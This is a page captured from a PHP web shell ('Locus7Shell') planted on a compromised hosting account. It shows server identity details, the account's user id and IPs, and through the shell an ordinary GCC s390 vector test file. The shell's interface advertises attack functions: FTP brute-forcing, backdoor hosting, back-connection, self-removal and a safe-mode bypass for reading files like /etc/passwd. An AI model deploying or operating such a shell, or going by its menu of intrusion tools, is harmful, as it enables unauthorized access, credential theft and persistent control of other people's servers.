Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/s390/zvector/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vec_store_len_r.c (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-require-effective-target s390_vxe2 } */
/* { dg-options "-O3 -mzarch -march=arch13 -mzvector --save-temps" } */

#include <string.h>
#include <vecintrin.h>

typedef vector unsigned char uv16qi;

uv16qi test_vec = (uv16qi){ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };

#define NUM_TEST_LENGTHS 3

unsigned int test_len[NUM_TEST_LENGTHS] = { 0, 12, 18 };


/* Proceeding from left to right, the specified number (LEN+1) of
   rightmost bytes from SOURCE are stored in TARGET.  */
void __attribute__((noinline, noclone, target ("arch=zEC12")))
emul (unsigned char *source, unsigned char *target, unsigned int len)
{
  int start = 15 - len;
  if (start < 0)
    start = 0;
  for (int s = start, t = 0; s < 16; s++, t++)
    target[t] = source[s];
}

void __attribute__((noinline, noclone))
vec_store_len_r_reg (uv16qi s, unsigned char *t, unsigned int len)
{
  vec_store_len_r (s, t, len);
}

void __attribute__((noinline, noclone))
vec_store_len_r_mem (uv16qi *s, unsigned char *t, unsigned int *len)
{
  vec_store_len_r (*s, t, *len);
}

#define GEN_CONST_FUNC(CONST)                    \
  static void inline                        \
  vec_store_len_r_const##CONST (uv16qi s, unsigned char *t)    \
  {                                \
    vec_store_len_r (s, t, CONST);                \
  }

#define GEN_CONST_TEST(CONST)                    \
  memset (exp_result, 0, 16);                    \
  emul ((unsigned char*)&test_vec, exp_result, CONST);        \
  memset (result, 0, 16);                    \
  vec_store_len_r_const##CONST (test_vec, result);        \
  if (memcmp (result, exp_result, 16) != 0)            \
    __builtin_abort ();

GEN_CONST_FUNC(0)
GEN_CONST_FUNC(12)
GEN_CONST_FUNC(18)

int
main ()
{
  unsigned char exp_result[16];
  unsigned char result[16];

  for (int i = 0; i < NUM_TEST_LENGTHS; i++)
    {
      memset (exp_result, 0, 16);

      emul ((unsigned char*)&test_vec, exp_result, test_len[i]);

      memset (result, 0, 16);
      vec_store_len_r_reg (test_vec, result, test_len[i]);
      if (memcmp (result, exp_result, 16) != 0)
    __builtin_abort ();

      memset (result, 0, 16);
      vec_store_len_r_mem (&test_vec, result, &test_len[i]);
      if (memcmp (result, exp_result, 16) != 0)
    __builtin_abort ();
    }

  GEN_CONST_TEST(0)
  GEN_CONST_TEST(12)
  GEN_CONST_TEST(18)

  return 0;
}

/* vec_store_len_r_reg and vec_store_len_r_mem */
/* { dg-final { scan-assembler-times "vstrlr\t" 2 } } */

/* For the 2 constants.  The 3. should be implemented with vst.  */
/* { dg-final { scan-assembler-times "vstrl\t" 2 } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--